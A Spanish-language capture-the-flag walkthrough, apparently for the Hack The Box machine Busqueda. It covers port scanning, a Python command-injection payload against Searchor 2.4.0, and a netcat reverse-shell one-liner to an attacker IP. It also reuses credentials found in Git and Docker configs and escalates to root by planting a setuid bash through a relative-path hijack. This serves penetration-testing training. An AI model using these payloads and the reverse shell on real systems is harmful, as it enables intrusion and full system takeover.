# Busqueda

![20240725092525.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-f0979459e332adc007f77d166ab2ab37743c7804%2F20240725092525.png?alt=media)

Busqueda es una máquina Linux de dificultad fácil que implica explotar una vulnerabilidad de inyección de comandos presente en un módulo `Python`. Al aprovechar esta vulnerabilidad, obtenemos acceso a nivel de usuario a la máquina. Para escalar privilegios a `root`, descubrimos credenciales dentro de un archivo de configuración `Git`, lo que nos permite iniciar sesión en un servicio `Gitea` local. Además, descubrimos que un script de verificación del sistema puede ser ejecutado con privilegios `root` por un usuario específico. Al utilizar este script, enumeramos los contenedores `Docker` que revelan las credenciales para la cuenta `Gitea` del usuario `administrador`. Un análisis más detallado del código fuente del script de verificación del sistema en un repositorio `Git` revela un medio para explotar una referencia de ruta relativa, lo que nos otorga la Ejecución remota de código (RCE) con privilegios `root`.

## Reconocimiento

Iniciamos con la enumeración de los puertos abiertos

```c
❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.208 -oG allportsScan

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

```

Luego de enumerar los puertos, vamos a seguir enumerando los servicios y versiones de estas que se ejecutan en estas.

```c
❯ nmap -p22,80 -sC -sV -vvv -Pn -n 10.10.11.208 -oN servicesScan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

### Sitio Web.

Navegando en el sitio web encontraremos el siguiente contenido

![20240725095432.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-c42f62c5470380b34a4879eaaab55c21a01e2969%2F20240725095432.png?alt=media)

Tenemos una forma de ejecutar comandos en este servicio.

```c
',__import__('os').system('ls -la'))#
```

![20240725095505.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-0a8f0ec679ba7154344b55fbe55319149451d3b5%2F20240725095505.png?alt=media)

Podemos ver que podemos ejecutar comandos en la maquina victima, por lo que nos enviaremos una revershell.

![20240725095531.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-4a6bd25ea2820048258e5a2b5d8caeb4fcf79941%2F20240725095531.png?alt=media)

## shell - svc

Haciendo uso del exploit podremos enviarnos una revershell de manera automatizada

### Exploit\_Searchor\_2.4.0\_RCE

Podemos descargar el script para ejecutar comandos desde la terminal en el siguiente link:

* <https://github.com/b0ySie7e/Exploit_Searchor_2.4.0_RCE/>

![20240725111244.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-243f4d5cf26d121fc3b260cfb7a5adcdaabea087%2F20240725111244.png?alt=media)

Una vez descargado el script podemos enviarnos una revershell desde la terminal

```c
python3 Exploit_Searchor_2.4.0_RCE.py -u http://searcher.htb -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.55 443 >/tmp/f'
```

Antes de ejecutar el script debemos ponernos a la escucha con `ncat`

```c
❯ ncat -nvlp 443
```

![20240725111634.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-b92a88b3e0b52f91e3fa707834103babe3b5414f%2F20240725111634.png?alt=media)

### .git

Enumerando el directorio del usuario actual podemos observar credenciales para el usuario `cody`

![20240725123251.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-4d4a532a8175878ffe6b7d59cb7780db9442824c%2F20240725123251.png?alt=media)

```c
http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
```

Teniendo estas credenciales ingresaremos a el sitio web en el subdominio `gitea.searcher.htb`

![20240725123346.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-3a0f2f531252cab6ab75349ea28738ba29490667%2F20240725123346.png?alt=media)

Además validamos esta contraseña contra el usuario `svc` y observamos que es valida

```c
svc : jh1usoih2bkjaspwe92
```

```c
svc@busqueda:/var/www/app/.git$ sudo -l
```

![20240725123435.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-a3014fdfcb10c77a6c0ec19d9deb46574fde23fc%2F20240725123435.png?alt=media)

Luego observamos los privilegios del usuario `svc` y podemos ver que tiene privilegios para ejecutar cierto script de manera privilegiada

## shell - root

El script o comando que podemos ejecutar es:

```c
 /usr/bin/python3 /opt/scripts/system-checkup.py *
```

Ejecutando el script podemos ver que tenemos las siguientes opciones

```c
svc@busqueda:/var/www/app/.git$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py docker ps
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

```

Podemos revisar la documentacion de `docker-inspect` para tener mas comandos de este.

* [docker-inspect get a subsection in json format](https://docs.docker.com/reference/cli/docker/inspect/#get-a-subsection-in-json-format)

En este caso tenemos unos contenedores que podremos ver con `docker-ps`

```c
svc@busqueda:/tmp$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

```

```c
svc@busqueda:/tmp$ sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' mysql_db
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
```

Luego de ejecutar podremos ver credenciales que haremos uso de para ingresar a una base de datos

```c
sudo  /usr/bin/python3 /opt/scripts/system-checkup.py  docker-inspect '{{json .Config}}' mysql_db
```

En esta base de datos no encontraremos mucho, solo las credenciales encriptadas

```c
svc@busqueda:/$ mysql -u gitea -p -h 127.0.0.1:3006
```

![20240725200657.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-d5499668f42ebe9af3a760d04657205ac6e078ab%2F20240725200657.png?alt=media)

### subdominio gitea.searcher.htb

Esta contraseña la podemos hacer uso para ingresar a la cuenta de `administrator` del servicio `gitea`

```c
administrator : yuiu1hoiu4i5ho1uh
```

![20240725165734.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-ab32ea6f2d5bed86b7d0ad328784b2b3d2d17709%2F20240725165734.png?alt=media)

En el repositorio encontramos un script el cual ejecutamos de manera privilegiada

![20240725165810.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-d4ef8af5b05d71d2db6029f6a0b5f52b93acab31%2F20240725165810.png?alt=media)

Analizando un poco vemos que el script de `full-checkup.sh` no se ejecuta teniendo en cuenta el path absoluta, por lo que usaremos este vector para escalar privilegios

![20240725165832.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-7c79f3dbcbd85b8ac09ead489ae1c3ad42a24f7a%2F20240725165832.png?alt=media)

Crearemos un script en nuestro directorio de usuario y luego le daremos permisos de ejecución, para luego ejecutar el script de manera privilegiada con el parámetro `full-checkup`.

```c
nano full-checkup.sh

#!/bin/bash
cp /bin/bash /tmp/cmd
chmod +s /tmp/cmd

chmod +x full-checkup.sh 
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```

![20240725203541.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-aa782eacd503b77ce72a56572297cd795321db90%2F20240725203541.png?alt=media)

Luego de ejecutar el script podemos escalar privilegios como el usuario root.

![20240725203604.png](https://2569077797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5WhBfInWGA8YgaSi3eRK%2Fuploads%2Fgit-blob-334e32aab3d61818daae252bdff80aff98585fdc%2F20240725203604.png?alt=media)
